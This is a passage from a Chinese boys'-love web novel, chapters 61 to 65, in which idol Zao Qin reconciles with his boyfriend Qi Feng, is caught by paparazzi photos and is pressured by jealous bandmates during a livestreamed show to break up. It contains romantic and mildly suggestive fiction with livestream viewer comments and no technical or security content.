察觉到不对,是因为枣芩打着颤的呼吸,一动不动僵硬着的瘦弱后背。 他缓缓停下来,睁开眼,车内没有灯,光源有点远,他看不清枣芩的表情。 两人口齿之间的空气潮湿又闷热,他搂抱着人,嗓音沙哑小声问:“老婆怎么了?” 本来其实挺气的,总共见枣芩就两次,等了两次,一等就是半天。可亲一下魂都不知道跑哪去了,立马又从狂犬变成了乖狗,现在还得哄人。 “我又让你不开心了?”他不太明白。 枣芩本就悬在边上快掉下来的委屈情绪,被他一句,又让你不开心了,弄得摇摇欲坠,风一吹,摔了个四分五裂。 好像他是一个多么讨厌的人,很容易生别人的气,可明明他很容易就消气了。 “那对不起,是我脾气太坏了,反正都是我不好……” 枣芩说着本来是想表达生气,可是也不知道自己怎么了,鼻尖酸涩,眼睛就模糊了。 他吸了吸鼻子,眼泪控制不住的滑落,打湿睫毛,滑到脸颊。 他也不想的,可是为什么齐封又欺负他。 察觉到枣芩哭了,齐封心脏瞬间紧了起来,脑子都清醒了,手足无措给他擦眼泪,“我靠……你,哭了?” 他真恨现在不能求助关磊。 他老婆哭了,老婆被弄哭了怎么办啊? “对不起,我真的错了,我下次肯定不会了。”齐封抓着他的手往自己脸上放,“要不,你打我?” …… 好不真诚。 枣芩别过脸,都懒得看他,也不想让他帮擦眼泪,嗓音又低又弱,“你根本就、不觉得你错啊,你就是觉得我错……” “你也根本就、不喜欢我。” 枣芩擦掉眼泪,深呼一口气,从齐封肩膀上撑着手,坐在旁边拿自己的羽绒服,准备下车。 齐封心跳如擂鼓,不要命的跳,他咽了口口水,感觉自己完了,因为一个人掉眼泪慌成这样。 “我怎么可能不喜欢你?喜欢你喜欢的要死,我就是不想让别人靠近你,我发消息太多了?真的我错了,我再也不会让你难过了,好不好?” 他知道这时候绝不能把人放走,不然就真的完了。 他揽住枣芩细细一截腰抱回来,紧紧搂着不让走,下巴放在他肩膀上,急得气息错乱,“还有什么我做错了,你告诉我,我下次就改了,嗯?” “给我一次机会啊,宝宝……” “一次就行。” 第62章 第 62 章 车内索吻照片 他一直侧头不说话, 齐封就一直哄,哄人的话越来越离奇,也是没招了。 “老婆老婆老婆, 你疼我一下?我也快哭了。”说要哭了, 眼睛跟干涸地似的, 掉不出一滴。 “你不原谅我, 我就不呼吸,憋死我算了。” “让我死吧, 反正我也得不到我宝宝的原谅。让我死吧, 我活着没意义,宝宝生气了我都不知道为什么, 你说我有什么用……” 齐封摸黑抓起枣芩的手腕,往自己瘦削的俊脸上拍,拍了几下,就带到了唇边碰。 枣芩葱段似的手指蜷着, 也没真打他脸的意思。 反而被他说的话逗得,睫毛还湿润着, 就没忍住咬着唇笑了下。 齐封察觉到他开心了,立马精神起来,握着他手的力度稍微大了点。枣芩忙抿住唇,板下脸。 好一会才终于闷闷地说:“我今天什么也没干, 你突然出现就很凶, 我这次又没有迟到。” 上次齐封也很凶,但上次枣芩确实迟到很久,所以他觉得齐封凶也没什么,他自己确实不对。 他别别嘴巴,又有些不开心, “而且,我出了电梯,你明明只要出来或者发消息,我就知道哪个是你,你用车灯故意对着我的眼睛照,我心里好不舒服……” 眼睛也不舒服,但更多就是心里不舒服。 这下齐封知道枣芩为什么生气了,嘴张了张没说出话来。他曾经对着朋友就这么干过,但枣芩不是他的那些朋友,是他宝宝。 齐封还是想为自己辩解一下,“眼睛疼不疼?我错了,我就是有点生气,我去卫生间等你,你又不来,还不回消息,好不容易回了一条,又是让我等。” “但这也不是你的问题,你在录节目,走不开。”他自己就给枣芩说好了理由,随便反思了下,“是我情绪控制能力不好。” 枣芩下意识反驳:“我明明就去了。” 说出口后,枣芩呼吸猛顿,也收不回来了。 “你去了?什么时候?”齐封问。 枣芩暗道不好,犹豫说:“就是去了,我可以描述那个卫生间长什么样子,左转进去一面镜子嘛,我也等你了你没来,我就出去了。” “我都没有说什么……” “你来了?”齐封要上去的时候,被保安拦住了。 说上面在拍摄,他确实花了些时间,才放行。枣芩或许就在这个时间段等着他,所以才错过了。 那他在干什么? 枣芩抽出工作的时间,安抚他的情绪,没等到所以回去了,也没有情绪。而他呢,他到底在干什么? 齐封咬咬牙,伸手摸他湿漉漉的脸蛋,他惹枣芩流了这么多眼泪,冰凉的触感从他的指尖,刺到他心脏。 怪异的酸涩,心脏吃了酸果。 “我想让你开心点,我该怎么做?”齐封声音是从未有过的轻,这辈子对任何人都没有过。 高挺鼻梁压到枣芩柔软脸颊上,枣芩猝不及防转过头,鼻尖撞在一起,呼吸丝丝缠缠。 一瞬间,眼前亮了瞬。 枣芩看到齐封深邃眼眶,但很快光又消失了,枣芩坏心眼说了声:“你学小狗叫吧。” 齐封一点都不带不情愿的,不抵抗一下,粗重的呼吸紧逼着枣芩,低低哑哑的叫,“汪汪汪,汪汪,汪汪汪汪。” 还是一只烟嗓的狗…… “汪汪汪,汪汪~”他加上了腔调。 自得其乐,停不下来了。 【你是真狗啊】 【醉了,滚出去叫】 【惩罚成奖励了?还爽到你了,我也会汪汪汪】 枣芩有种一拳打在棉花上的感觉:…… “够了,我不生气了。” “汪汪?” 枣芩恼了,细白手指按住他不停地嘴,热气直往他手上呼,枣芩咬牙:“闭嘴,说人话。” “宝宝?”齐封含糊说。 灯光又闪了下,枣芩回过头去看,没发现光源来处,还又被闪了下,但他还没来得及闭眼,就没了。 他小声嘀咕,“怎么这么闪啊?” 齐封侧头去看,懒得在意,“可能是谁的车灯坏了,赶紧转过来,别再被闪到。” 之后没再闪,枣芩就没把这事放在心上。 齐封开车带他去吃饭,饭菜非常美味,吃完饭天已经黑得彻底,枣芩肚子饱饱的,精神上就犯困。 齐封说他开了间房,有两张床,希望枣芩能好好休息,明天早上就送他回去。 他态度很正经,晚上也确实没有拍摄了,枣芩拿手机在群里发了条消息,【导演,今天晚上我回不去了,打算在酒店睡一晚,明天早上就回去。大家晚安哦。】 齐封开得房没有差的,一点都不掩饰自己有钱了,他现在巴不得枣芩花他的钱。枣芩就当没看见,不知道。 洗漱完枣芩倒头睡,硬是被齐封抱起来,靠在他肩上吹干了头发。都不知道自己怎么睡过去的。 被窝很舒服,只是睡梦中身体被禁锢,他睁不开眼,感觉自己被一只臭章鱼缠上了,绕着他的身体,胸口又痒又有点疼,两边感觉不一样,一边热烘烘的。 他皱眉,身体反应挺了挺胸,听到一句。 “别急。” 潮湿晕眩,不停挣扎的梦。 后面他梦见有人在敲门,还有电话的声音,只是很短暂,所以他并没有醒来。 衣服磨得不舒服,枣芩拽了好几下领口,坐在副驾驶座,粉色小脸靠在靠椅上。 齐封遇到了个红灯,单手握着方向盘,朝他这边看了眼,温水似的心情充斥胸膛,他闷笑一声。 哪怕昨晚一夜没睡,他也精神抖擞。他想了很多,关于自己,关于枣芩。 他很乐意为枣芩改变自己一些让他不舒服的地方,因为这么看着枣芩,他就觉得幸福。 枣芩连早饭都没吃,天蒙蒙亮就赶着回去,和齐封道别,齐封非亲了他脸一下。 枣芩在萧瑟凉风中自己上了楼。 他动作很轻的开门,不想吵醒还在熟睡的队友,暖和温度涌过来,寂静没有半点声音,枣芩关门换鞋。 陡然感觉不太对。 他换好拖鞋,抬起头,正对上坐在客厅三人的视线,愣了秒,讷讷开口:“你们怎么都起这么早啊?” 因为太安静,他的话说出来都有些过分突兀。 一时之间没人回答他说话。 第一个和他说话的居然是邵京迟,他依旧是一张淡薄脸,倒是比郑宥冷静。郑宥看着他,眼眶中都能看得见红血丝。 邵京迟说:“还没睡。刘阳等会来,你困的话先去睡会,等会叫你。” 气氛太过古怪,枣芩本来是打算再补一下觉,这下也没心思补了。 他摇头,蹑手蹑脚坐在沙发上,手肘碰了碰郑宥,“怎么了呀?” 郑宥摇摇头,眼神有些晦暗,头发乱糟糟的,通常他的头发代表他的心情。头发越乱心情越差。 戚泽说:“你今天看手机了吗?” 他这话一出来,枣芩就掏出了自己的手机看,99+的信息让他瞬间不安起来。缓缓点开。 是郑宥问他在哪里,又说什么上楼了,叫他开门。 枣芩没反应过来,看到其他两人和经纪人也给他发了信息,倒是没郑宥发来的多。 他点开经纪人的信息框,刘阳给他发了几张照片,说醒了就回来,不要着急。 照片中,是无比眼熟的他自己。 坐在红色豪车后座正中间,闪光灯将他的脸打得透明的白亮,脸上有些脆弱的水光,眼眶还微红,睫毛密匝匝在眼尾。 整张脸无比清晰的暴露在镜头下。 还有几张,看不到脸,是他朝着抱着他那人的方向,那人抱着他的腰,姿势像在索吻。 是足够石锤两人关系的照片。 枣芩脑袋嗡了下。 第63章 第 63 章 他已经决定要分手了…… 他把那张照片的情形往记忆中对, 瞬间知道那不知名闪光的来处,是拍照的闪光灯。 枣芩捏着自己的手指,在想自己是不是捅出窟窿了, 原本按照正常剧情走, 不该有这一步的。 他忍不住小声问戚泽, “这个, 会很严重吗?” 戚泽看着他怯生生的模样,与照片中被人抱在腿上, 委屈中带着不满的脸重叠。 他甚至怀疑, 枣芩衣领里面,现在都有那男的留下的痕迹, 不知道有没有弄不舒服枣芩,枣芩又是什么样的表情。 他眼神充盈着奇怪的热切,呼吸竟有点加促。 枣芩忽然被他的手指背碰了碰脸,动作极轻, 像是在触碰一个易碎的娃娃,一闪而过。 他轻笑一声, 似乎有点恶劣意味,“你做的时候倒是不害怕。” 在枣芩对他的话感到不满之前,他就适时开始安抚,手轻轻放在枣芩单薄肩头, “没事的, 狗仔找上门来就为了钱,给钱就行了,不会传出去的。很多人都这样。” “嗯,那就好……”枣芩因为他的话而稍微安心了,靠在沙发上松了口气, 不会传出去应该就没事吧。 枣芩正准备找系统问问。 身旁的郑宥突然站起身,快步进了自己房间,话也没说一句。 他那气势汹汹的架势,枣芩原以为会听到一声响亮的关门声,都准备好了,却并没听到,回过头去,郑宥的门已经被关上了,并没有发出任何声响。 “他昨天去酒店找你,回来就这样了。”戚泽没有回头,看着手机平静说。 枣芩瞥见,他手机里在看的,是自己被拍到的照片,还被他放大了,禁不住有些窘迫挪开视线。 想来想去,枣芩指关节试探性叩响了郑宥的门,如果不是看着郑宥进去,都要怀疑里面没人了。 他睡梦中确实听到了一些吵声,原本觉得是做梦,此时想起来,应该和郑宥有关系。 而他听到了也没醒来,不知道具体发生了什么。 他轻轻拧动门把手,里面没反锁,很轻松就拧开了。 枣芩歪头看里面,推门进去,屋子里并没人,他困惑了半秒,转头就看到郑宥双臂环胸、就站在门旁,眼神灰暗般看着他。 枣芩被吓得后退半步,郑宥看了眼外面,迅速拉着枣芩,将门关上。 卧室没有别的可以坐的地方,也没有地毯,地板是光秃秃的瓷砖。 两人坐在床边,半晌,郑宥才艰涩开口:“你们,刚在一起?” 枣芩思索着,眼睛转了转,不知道怎么说,就老老实实说了实话,“没多久,是我们录节目前两天在一起的。” 算刚在一起吗? 郑宥心中有根线崩了,他闭了闭眼,手扶了下额头,“这么早。” 他原本以为,是这男的突然出现横刀夺爱,心中满是愤懑,没想到,根本就是他来晚了,人家早就在一起了。 在因为他们都搬出去,留枣芩一个人在这里的时候,枣芩和那男的认识了。 他自以为在三人战争中占上风,洋洋得意的时候,枣芩都不知道跟那男的约会几次,到哪一步了。 他凸起的喉结往下压动,陡然起身来到枣芩面前。 高大身体极具压迫感地笼罩,枣芩还呆愣着手放在床上看他,昨天那件没换过的白绿色毛衣衣领,突然被一只手勾着拽开。 胸口的位置一凉,枣芩没反应过来,弹性不错的衣服已经被拉开一大块。 里面不管是白的还是粉的,还是小小的痣,全都落在了凑在口子上,张望着朝里面看的郑宥眼里。 闷着的绵绵香气全都散出来,还带着温温热度,从鼻腔到头骨,他头顶都麻麻的,双重冲击给他弄迷糊了。 还有点点鼓啊…… 一直到枣芩胸口战栗着起伏,忍无可忍,满脸涨红地拍开他的手,也顾不得什么没礼貌了,直冲着郑宥的那张俊脸上就一推,起身就要跑。 他没有办法接受这么冒犯的举动。 腰被一把圈住,枣芩又被摔回原位,他惊魂未定地喘息,有些不敢置信。 郑宥表情还是懵滞的,他蓦然跪在枣芩面前按住他的腿,其实郑宥没有想给他下跪的意思,只是想阻止他的离开,又一时还没想好自己该说什么,才做出了这样的举动。 枣芩看到他忽然跪在自己面前,难免愣了,手撑在身后抓了抓床单。 郑宥视线还迷散盯着他胸口的位置,神色有些恍惚,枣芩被他盯得不舒服,作为一个男孩子,却还是忍不住挡了挡,不准他再看,“……你有病。” 郑宥摇摇头,嘴上迟缓说:“你好像有点肿,要我帮你涂药吗?”? “真有病,我不需要……”枣芩别过脸,他也不是很会骂人,过来过去就几句,小脸红得可怜。 可对郑宥几乎没有攻击性,这几句只够弄得他心痒,他自顾自说:“他给你咬的吗,怎么这么重啊,现在还能看出来,疼吗?” 枣芩:……“别说了。” 郑宥语气甚至有几分循循善诱,“我昨天去找你了,你知道吗?你跟他在里面,门都不开,是在被吃吗?” 枣芩自然明白他什么意思,手指头都打着颤,羞愤欲绝,“郑宥,你真够了。” “他出来开门的时候,门一开,那个味道让我恶心。” 郑宥说着,似乎又想到了当时的场景,眉头皱起,目不转睛盯着枣芩。 枣芩实在没有办法待下去,他感觉自己如坐针毡,嘴唇抿着,推着放在他腿上的手,想要离开,“恶心你就别和我说话了,怕把你恶心吐了,让开……” 还没彻底站起,脚踝却被郑宥单手握住,他往上抬枣芩的腿,枣芩没控制身体往后仰,他另一只手推着枣芩的屁股,往上一拍,被迫挪动。 他自己也膝盖抵在床沿,俯身跟上去,枣芩大腿叠在腹部,小腿控制不住的分开,郑宥就这么压上来,把枣芩困在身下。 枣芩被自己光天化日下露出的狼狈姿势,弄得呼吸错乱,不敢置信睁大眼睛,额发散开,整张脸露出来,睫毛不停地扑闪。 真的很漂亮,郑宥有闲心想。 枣芩快被弄哭了,他到底为什么进来看郑宥,就该让他自己一个人生闷气,憋死他,什么也不要管。 枣芩躺着,想仰头头都仰不起来,无力感淹没了他,几乎是叫喊,“郑宥!你到底,能不能听我说话!” …… 郑宥吞咽口水,神情像是玩闹过分,被主人教训的狗,闪过一丝无措。 “我听,我听你的。”郑宥翻身侧躺在枣芩旁边,距离只有不到十厘米,“我听话。” “……”枣芩腿放下去,无奈闭了闭眼睛。 郑宥:“那你也要听我一次,好吗?就一句。” 枣芩没说同不同意,想看他能说出什么来。 “你跟那男的分手。” 刘阳风尘仆仆一到,见只有两个人问了句,邵京迟终于得了机会敲门,把两人叫出来。 进去的时候郑宥还一脸死样,跟吃炮仗憋肚子里了。出来的时候已经跟在枣芩屁股后面,小心翼翼表情里又透着得意。 倒是枣芩衣服凌乱,小脸面无表情,嘴巴紧紧抿着,坐回沙发上,等着刘阳说话。 刘阳叹了口气,手中的ipad上是狗仔发来的新一轮照片,他家另一个艺人,也进了那家酒店。 郑宥找过去时又被拍了。 也不知是喜还是忧,刘阳感叹:“真是红了,都有狗仔跟着拍了。这是从节目一路跟过去的啊。” 视线转到枣芩,没有任何铺垫,他问:“愿意分手吗?” 枣芩还没说话,郑宥倒是迫不及待开口:“他能,他已经决定要分手了。” 【请问呢?关你?】 【0人问了你】 【用了卑劣的手段,让宝宝答应是吧?】 第64章 第 64 章 芩芩大王 刘阳其实也大概知道郑宥似乎对枣芩抱了些心思, 外人或许会觉得郑宥性格开朗,但他这种认识他几年的人来说,一眼就看出来了。 但他这幅上赶着蹦出来的样子, 还是让他禁不住诧异, 看向枣芩。 枣芩慢吞吞点了几下头, 眼神有些空茫。 他只是在想, 怎么样有时间把齐封带回来。做一次家务应该就完成任务了,任务又没说他让齐封做多久的保姆。 而自己在前途和保姆之间, 肯定会选择前途, 到时候就可以分手了。 想象很丰满。 当天的节目正常开录,天下没有不透风的墙, 网上难免出现一些风言风语,说有内幕消息,枣芩谈恋爱坐素人怀里热吻被拍了。 由于枣芩的热度自节目开始后,跟坐火箭似的节节攀升, 评论区很快就被淹没了。 ——滚 ——别造谣了,在我旁边呢, 你这样他等会哭了我还得抱着哄 ——我承认是我,我狠狠地亲了宝宝的嘴,宝宝的嘴是相当的甜。还摸了抱了,怎么了? ——枣芩和郑宥or邵京迟or戚泽热吻了吗, 枣芩现在在录节目, 哪来的时间和素人热吻? ——求资源。 ——?你还真信了 直播正常开始,枣芩装作一副刚醒来的样子对着摄像机打招呼,说早上好。 看到邵京迟的身影在做早饭时,枣芩才猛然想起,上次录制他和邵京迟输了, 惩罚是在下一次录制期间准备三餐。 此时站在厨房的,应该也有他才对。 他连忙上前,顶着背后郑宥直勾勾的目光,对邵京迟心虚说:“我来了,我该做什么?” 邵京迟停下手中切菜的动作,看着他无措的眼睛,问:“打鸡蛋然后搅匀可以吗?” “当然可以!”枣芩忙不迭说。 邵京迟去冰箱拿了六个鸡蛋,放在桌子上,又顺手勾下挂在冰箱侧边的围裙,问枣芩,“要系围裙吗?” 枣芩看向鸡蛋,又看向围裙。 他不知道邵京迟要做什么饭,后面会不会溅到他身上,以防万一,“……那系一下吧。” 他伸手想要去接,落了空。 邵京迟动作自然,手臂从他头顶带过,浅绿色的围裙带套在他脖颈,腰间的两根绳子拉了拉,邵京迟慢悠悠开始系起来。 枣芩腰窄又细,一收紧就更窄了。 枣芩等着他系,手上已经挽起自己的袖子,准备先洗洗鸡蛋。感觉自己跟大厨似的。 身后突然传来道凛然声音,脖颈后侧都感觉到对方的到来带起一阵细弱的风,“我来我来,你去做饭。” 枣芩回头去看,见郑宥不知道什么时候过来了,对着枣芩挑眉,低头勾着唇,给他系围裙袋子。 “我帮你一起。”郑宥脸探到他旁边。 枣芩只有打鸡蛋一项任务,哪里还有他能帮的地方,他看了看周围。刚想给他分两个鸡蛋。 邵京迟就开口:“不需要,这是我们两个的任务。” 郑宥:“我在跟芩芩说话。” 气氛又紧张起来。 枣芩站在两个人中间,左看右看,觉得莫名其妙。抬眼对郑宥说:“算了吧,也没有什么需要帮忙的地方。” 水流从白皙分明的指尖淋过,他手臂露着,很认真的低头一个一个打鸡蛋,打了一大碗,拿筷子开始搅拌。 邵京迟看了他好一会,枣芩都感觉自己是不是有什么地方做错了,打鸡蛋是不是还要加什么其他东西,比如调料之类的。 他瞄了邵京迟眼。 邵京迟眉眼淡淡,拿起手机跟人打字发消息,等了会,朝摄像头扫过,又看向枣芩。 在枣芩呼出口气,再次与他对视,他突然语不惊人死不休,“你跟你前任发生过性关系吗?” 口吻还很正经。 …… “哈、?”枣芩短促发出一声细小的惊呼,手上的动作都停下了。 两人僵持着,邵京迟眸底并不如他脸上表现出来的一样平静,除了等待枣芩的回答,他做不了别的事。 枣芩胡乱搅着鸡蛋液,睫毛抖了抖,脑子很乱。邵京迟是他的队友,他出事就很可能会牵扯到他们,或许是因为这个才问的? “没有。”枣芩压着窘迫说。 邵京迟还在问:“之前和别人也没有过吗?” “……”枣芩抿着唇,点头。 邵京迟看着他的动作,呼吸不稳,眉头拧起,“点头是有过还是没有。” 枣芩捏着筷子的手指用力的发白,表情已经不太好看了,“没有过啊,你问完了没……” 邵京迟瞳孔放大了瞬,转过身去掩饰自己的表情,“嗯,问完了。你鸡蛋打得很好,壳都很分明,以前经常做吗?” 别人的夸赞,对枣芩来说就像是小花见到了阳光,原本布着阴霾的心情,缓缓开始飘走。 枣芩看着碗里的鸡蛋,他确实都弄得很干净,没一个碎开的。他表情无所谓,“没有啊,我好像是第一次弄。” 过去有没有过,他不知道。 “那真的很厉害,我第一次打的时候,鸡蛋壳都碎在碗里了。”邵京迟轻笑。 枣芩咬着嘴巴,“但是你现在很厉害呀,会做很多菜。” 两人在厨房待得时间太久,厨房是开放式的,外面能看得到,却听不到他们在说什么,郑宥过来了几次,问就是饿了。 枣芩做完邵京迟分给他的工作,回头就对上了戚泽和郑宥两个人的视线,怔了秒。 他们两个做饭,外面还有两个站岗的。 今天的早餐比往日丰富的多,这得益于他们两个在厨房的时间足够长。 邵京迟做了一道又一道,可能是做饭的瘾。 枣芩端着自己参与最多的鸡蛋羹,手上还戴着隔热手套,放在了桌子上,“好啦。” ——宝宝你是个温柔的小妈妈~ ——老婆做了这么一大桌饭,等我回家,好好犒劳犒劳老婆,呜呜呜,不舍得你做饭,以后我做!但老婆要多穿围裙 ——天还没黑,晚上再梦吧 今天和导演提了要录的少些,提前关机,导演要求必须互动多点,长度不够拉精度。 吃完饭,他们就围坐在地毯上玩国王游戏。在国王游戏的世界里,国王可以命令所有人。 枣芩正襟危坐,别提多想抽到国王了,虽然他没想好要让别人做什么。 屋内很热,枣芩袖子一直没放下下来,腕骨弧度很漂亮。 他主动提议要自己来打乱牌,他偷看了国王牌所在的位置,抬头看几人,盯着国王牌,故作认真的打乱,又叠起来。 有点心虚,但不多。 只要他拿到最后一张,他就是第一把的国王了。 他伸手去拿最后一张,忽然被一只手按住,戚泽笑眯眯看着他,“我都知道哪个是国王了,我再打乱一下吧,不要让我作弊。” 枣芩:…… 他收回手,无可奈何看着戚泽把牌打乱,到他分不清哪张才是国王。 心里已经完全没敢想自己会是国王了,只希望第一把不要被点中,他固执的拿起最后一张。 复杂的花纹让他愣住,随后眼睛睁大,枣芩笑起来,开心说:“我是国王!” 他第一眼就看向戚泽,你好日子到头了。 国王注定是芩芩大王! “就选你。”枣芩抬抬下巴,示意戚泽,想了想,“你从这把开始,之后都要要恭敬的喊我一声,主人~” 戚泽扯唇笑,“笨蛋,可不是这么玩的,123三个数,你知道我是哪个吗?” 枣芩:…… 他摸了下鼻尖。 呃,开心过头,和真心话大冒险记混了。 “1?”他盯着戚泽的表情变化,声音拉得长长的,自己否认,“1我不选。” “2?……2号。” 郑宥贴上来说:“宝宝我是2号。” 枣芩:“2号也不选。” 那就是1、3其中一个,枣芩转头看向邵京迟,眼底覆着水光似的亮,“你是几呀?” 邵京迟不回答,摇摇头,嘴角有点似有若无的笑,“要公平一点。” 戚泽看这情况,察觉不太对,表情变了变,“不逗你了,我是1。” 枣芩信他个鬼,迅速:“我选3号。” 他对着自己旁边的摄像机,“3号,是刚刚我说的那个惩罚。” 空气安静片刻,邵京迟翻开自己的牌,正是一张3,他语气带点无奈,“怎么办啊,是我。” 枣芩伤及到无辜,立马去看戚泽的牌,真是1! 枣芩尴尬放下自己的国王,“你怎么不说啊,你说了我就选1号了。” “早知道就告诉你了,主人。”主人两个字喊得轻飘飘的,跟羽毛挠似的。枣芩肩膀缩了下,感觉浑身麻麻的。 郑宥逐渐明白过来事,眉头拧起来。 靠,套路这么深? 他后槽牙磨了下,“芩芩,你说这个惩罚是不是太重了。” 他瞥着邵京迟,“要不你改成就下一把?毕竟你本来不是想惩罚他,对吧。只是个意外。” 枣芩心想确实是,讪讪开口,“改一下吧,改成在下一把就行。” …… “不太好吧。刚开始就破坏游戏公平性,我个人觉得没什么。” 邵京迟这个受惩罚的人都这么说了,枣芩也没话说,“那好吧,你少叫我行了。” 游戏很快进入下一轮。 第65章 第 65 章 真应该撞烂泥 新一轮的国王是郑宥, 他抽到牌只看了眼,就丢在了中间,正是枣芩刚刚手中的国王牌, 他上把也是国王可没郑宥这么装。 反正也不可能是国王了, 枣芩就随便抽了张。 还特地用手挡着, 怕被看到, 只咬着嘴唇快速瞄了眼,就扣回去正襟危坐。 一抬眼正撞上郑宥的目光, 他脸上没什么当上国王的得意, 眸光淡淡不知道在想什么,但也只是一闪而过, 就笑问:“芩芩是几?” 枣芩下意识觉得不太对,警惕摇摇头,闭着嘴巴。 “1?”郑宥盯着他的脸,明显也是在看他的表情分析。 这是他对戚泽的招啊! 郑宥就是想选他。 枣芩睁大眼睛, 喊了声:“学人精!” 就迅速趴下,把脸埋在手臂里, 不让郑宥看自己的表情。 孱弱的棘突,细白的脖颈,被三人尽收眼底。郑宥微愣一下就立马眉头皱起,伸手扯着枣芩的后衣领盖住。 枣芩因为他扯自己衣领子的怪异举动, 小幅度反抗, 但不愿意抬起头。他怕自己控制不住自己的表情,郑宥心眼子不少,肯定能想出比他还坏的想法。 郑宥凑到他泛着红的耳朵旁,手按在他后脖颈,语气还算诚恳, “我不选你呀,我只是想避开你,你还不相信我吗。” 枣芩摇摇头。 不信。 他怎么也没料到,自己蒙着脑袋,觉得应该不会那么倒霉被选中的时候,坐在对面的戚泽忽然开口:“我是3。” …… 选中他的概率更大了。 枣芩咬咬牙,心底无语,手指攥起来。还好邵京迟为了游戏的公平肯定不会说的。 事情好像总是不如枣芩的愿,才刚刚这么想,邵京迟清冽的声音也出现了,还是凑过来对着他说的,“主人,这次我是1。” 枣芩听到他说话,瞬间抬起头,恼怒看着他,“你怎么说出来了呀!” 这下郑宥不是立马他是几号了! 邵京迟表情顿一下,“你上把让我早点说。” 枣芩脸都气红了:…… “2号。”郑宥慢悠悠笑。 枣芩负隅顽抗,故作镇定:“这你都信啊,他们撒谎的,其实我才是3号。” 郑宥软硬不吃:“没事,我就罚2号,不罚你了。” 枣芩抵抗极弱,这么一句话就让他张口结舌,半晌才丧气地妥协,“你罚什么?” 郑宥安静看着他,压着情绪,舒展了下胸膛,佯装出一副轻松模样说:“就放芩芩一马,今天我们说的那事,今天就处理完,不准拖哦。” 摄像机在,让枣芩和齐封分手的事无法直接说出来,但都明白是什么事情。 枣芩没想到是这件事情,错愕片刻。 “今天?这么快。”他苦闷地抿住唇。 抬眼对上郑宥逐渐认真严肃的表情,心里又觉得本来也是要分手的,点点头,“嗯……” 就是不知道该怎么面对齐封。 这简直是他遇到最心里不舒服的任务。 枣芩只问了齐封在不在,齐封发了十来个字的宝宝亲亲后,枣芩打字问他今天什么时候有空来自己住的地方。 对面停了好一会。 枣芩身旁坐着两个,郑宥几乎是趴在他肩上,摸着他手臂软肉。身后还站着一个,全都盯着他的手机。 上次的聊天记录还有聊天框内,是今天早上齐封发的,【宝宝到了吗?好好睡一觉,身上不舒服告诉我。】 以及一个亲亲表情包。 虽然没做什么,但这话有点让人误会,枣芩不由得尴尬。 齐封:【现在!地址】 “呵。”身旁的郑宥讥笑一声,侧过头去。 齐封到的太快,枣芩还以为是节目组那边有人过来,头都没回。 戚泽上前去开门,郑宥还在给枣芩说,怎么当机立断和齐封分。 听到戚泽喊了他的名字,“枣芩。” 枣芩下意识看去,没回消息的齐封刚进门。 看得出他出来很急,都没做发型,但也没遮着额头,长相俊朗,高高大大出现在这里,看到枣芩就唇角就勾起来,想朝他过来。 枣芩一下猛地站起来,在另外三人的如炬目光下,垂着脸到齐封身边,拉他的手往自己卧室走。 “你来的好快呀。”枣芩小声对自己男朋友说。 齐封呼吸略重,是运动过后的迹象,扯了下嘴角,“刚好在附近。” 关上门,卧室内外形成两个不同的世界,枣芩不仅没松口气,还更紧张了,表情上都看得出来。 齐封从他身后抱着他的腰,瞅准时机,在枣芩如雪脸颊猛亲了两口,话说得跟偷情似的,嗓音低哑带着戏谑,“他们还在你就叫我来,说我是朋友吗?” “他们知道。”枣芩被亲的脸侧过去一点,对齐封情绪太复杂,都没做出反应。 “知道我是你男朋友,今天直播还那么亲近的逗你。”齐封说:“看得心烦。” “!你看了我们直播?”枣芩想转身去看他。 这种感受太怪异了,他是不是也看到了他们隐晦说到这件事,却不知道有关于他。 “……不小心看到的。”齐封捏他的手腕,不太开心,“手链也不戴。” 门被外面敲响,枣芩去掰他的手,齐封也自然松开。 来人是戚泽,枣芩衣服还有被紧抱后的褶皱,他视线落了两秒,闪过几分暗色。 “导演那边叫你过去一下。” 枣芩忙说:“好,马上。” 戚泽关上门,枣芩转身对齐封叮嘱:“你在我房间等一下,我马上回来。” 手握到门把手,他想到什么,身体顿住,咬着唇小声说:“如果你愿意帮我整理一下房间的话,就好了。” 枣芩的房间并不乱,没什么深颜色,很干净。 齐封才意识到自己在枣芩每天睡觉、生活的地方。 他看了眼枣芩的床,喉结往下压了瞬,脊背有些僵,“当然。” 枣芩呼出口气,“谢谢。” 卧室只剩下齐封一个人,他忽然不知道怎么放自己的手脚,这个小空间内,到处都是枣芩生活过的痕迹。 他坐在枣芩床上,掀开被子,似乎都有一股香味,不敢确定。他拧眉,还是犹豫了一下才凑过去闻。 枣芩平时不会光着身子睡吧。他和枣芩睡了一晚上,只知道枣芩特别喜欢夹着东西抱着。 平时肯定也夹这床被子,不知道上面有没有什么痕迹…… 想到这他突然觉得自己有病,简直像个变态,都在想些什么。 脚步声由远及近,齐封喘着粗气坐起来,整理了枣芩的床铺,察觉到并不是只有一个脚步声。 果然,开门的是两个人,他只认识邵京迟,但对他的脸也并不熟悉,看到才想起来对方也在。 哪怕他看了直播,也都是一刻不离盯着枣芩,都没记住另一个金毛什么名字。 门都没敲就进来了。 齐封脸色并不好看,但也克制住了,“有事?” 郑宥开门看到了齐封单膝跪在床上,在整理枣芩凌乱的被子。 醋意让他不可控的想他们干了什么,床都乱了。昨晚枣芩没回来,床铺是他前一天整理过的。 哪怕知道枣芩要分手,他们又在外面,枣芩不可能答应和这男的干什么,可他就是控制不住自己的想法。 那股酸意发酵蔓延到喉咙口,他讥讽笑一声,突兀说了句:“他的床平时是我在收拾。” …… “保姆?”齐封波澜不惊,有点浮于表面的歉意,“不好意思,下意识的。” 空气又是一阵沉默。 郑宥握拳,手背起了青筋,他咬着牙,气笑了,“是非常好的朋友,偶尔来这边睡觉。” 齐封坐在枣芩床上,摸索着他的被子,“哦,我是他男朋友,他说你们知道。” 要是枣芩真的对金毛有什么好感,认识这么时间,哪里轮到的他。 齐封这无懈可击的模样实在招人恨。 郑宥:“芩芩只是小孩想法。” 但枣芩马上就要和他分手了,就没法这么嚣张了。 “他就是觉得太无聊了,我是觉得吧,你还是不要把自己当成他很亲密的人,他就是那种交朋友的想法,或许觉得你有钱吧,除了这方面,感觉也没有其他了,保不准什么时候就分手。” 说完还靠着门框,贱兮兮的补充,“不好意思,我开玩笑的。” “郑宥!”枣芩的声音透着几分慌乱,郑宥僵了下回头,枣芩小脸发白,正嘴唇颤颤盯着他。 他不知道枣芩听到了多少,嚣张的表情消失不见,立马伸手去拉枣芩的手,被枣芩躲开,“你进来干嘛?” 枣芩其实没听到太多,只从郑宥说,可能是自己觉得齐封有钱开始。 